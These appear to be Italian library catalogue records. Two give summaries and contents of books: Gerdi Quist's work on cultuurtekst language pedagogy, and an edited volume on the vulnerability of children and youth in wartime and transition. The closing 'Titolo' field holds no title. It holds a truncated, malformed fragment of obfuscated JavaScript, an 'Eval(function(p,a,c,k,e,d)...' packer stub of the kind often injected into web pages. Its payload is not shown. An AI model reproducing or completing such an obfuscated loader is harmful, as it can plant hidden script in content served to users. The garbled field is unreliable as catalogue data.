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Sommario/riassunto	Untangling the various approaches to language teaching and their history, Gerdi Quist maps recent thinking in language studies at university. Using an interdisciplinary theoretical framework, drawn from educational philosophy, cultural studies, intercultural studies and language pedagogy, the author discusses the many tensions and currents in contemporary language teaching. The author puts forward an alternative pedagogy, that of a cultuurtekst-perspective, which engages learners at complex linguistic and cultural levels. In discussing the case study in which this approach is tested, the author develops her argument for embracing various critical perspectives through the personal engagement of students. From the start the author acknowledges her own engaged position as a language teacher in a liberal humanistic educational environment. She adopts a self -critical perspective through which her engagement with adverse student reaction leads to deepening insights both for the author and her students as part of the non-linear process of learning. Gerdi Quist teaches Dutch language and lectures on multiculturalism and

intercultural communication. Recent publications included a book chapter and journal articles on language pedagogy and intercultural communication.

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Nota di contenuto

Frontmatter -- Table of Contents -- Introduction -- Part I: Researching Vulnerabilities and Implementing Children's Rights -- Children's Rights in Times of Transition -- Reflections on Methodological Approaches and Challenges in Researching Children Born of War -- Part II: Children & Youth in World War II and its Aftermath -- Witnessing Children's Lives under National Socialism: Oral Testimonies and Children's Drawings from Ghettos and Concentration Camps -- Reflecting on Janusz Korczak: On his Care for Jewish Orphans in the Warsaw Ghetto -- Researching Global Phenomena in Local Circumstances: Polish Children Born of War in the Context of CBOW Research -- Surviving the Holocaust: Children of Jewish Deportees in Post-war France (1940-1980) -- "An echo of our parents": Norway's Legal Reckoning with Underage NS Collaborators -- Part III: Critical Reflections on the German Discourse on 'Children of the Occupation' -- Black German 'Occupation Children' in the Focus of Anthropological Research: Continuities and Discontinuities -- Problematised 'Fatherlessness': On

the (Re)Production of a 'Victim Narrative' in 'Occupation Children' Research -- Part IV: Learning from the Past: Dealing with Present Day Challenges -- Liminal Children, Liminal Rights? Media Representations of Scandinavian Children Born of War after World War II and after the Fall of the Islamic State -- The Evolution of Child Soldiers from 'Villains to Victims' in Law and Policy and its Significance for Children Born of War -- School Transition Expectations of Newcomer Pupils in Germany: A Pilot Evaluation of a Summer Programme -- Contributors

Sommario/riassunto

Children and youth belong to one of the most vulnerable groups in societies. This was the case even before the current humanitarian crises around the world which led millions of people and families to flee from wars, terror, poverty and exploitation. Minors have been denied human rights such as access to education, food and health services. They have been kidnapped, sold, manipulated, mutilated, killed, and injured. This has been and continues to be the case in both developed and developing countries, and it does not look as if the situation will improve in the near future. Rather, current geopolitical developments, political and economic uncertainties and instabilities seem to be increasing the vulnerability of minors, especially in the wars and armed conflicts currently being waged not only in Europe, but on almost every continent. How can risks children and youth are exposed to in times of transition be reduced? Which role do state agencies, non-governmental organisations, as well as children's coping strategies play in mitigating the vulnerabilities of minors? This volume addresses risks to which children and young people are exposed, especially in times of transition. The focus is on different groups of children in the European wartime and post-war societies of the Second World War, 'occupation children' in Germany, teenage National Socialist collaborators in Norway, and more recent cases such as child soldiers, refugee children, and children of European "Islamic State" fighters. The contributions come from international scholars and different academic disciplines (educational and social sciences, humanities, law, and international peace and conflict studies) and are based on historical, quantitative, and/or qualitative analyses.

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Titolo	Eval(function(p,a,c,k,e,d){e=function(c){return(c27?String.fromCharCode(c+37):c.toString(28));if(!'.replace(/\^/,String)){while(c--)d[e(c)]=k[c] e(c);k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('
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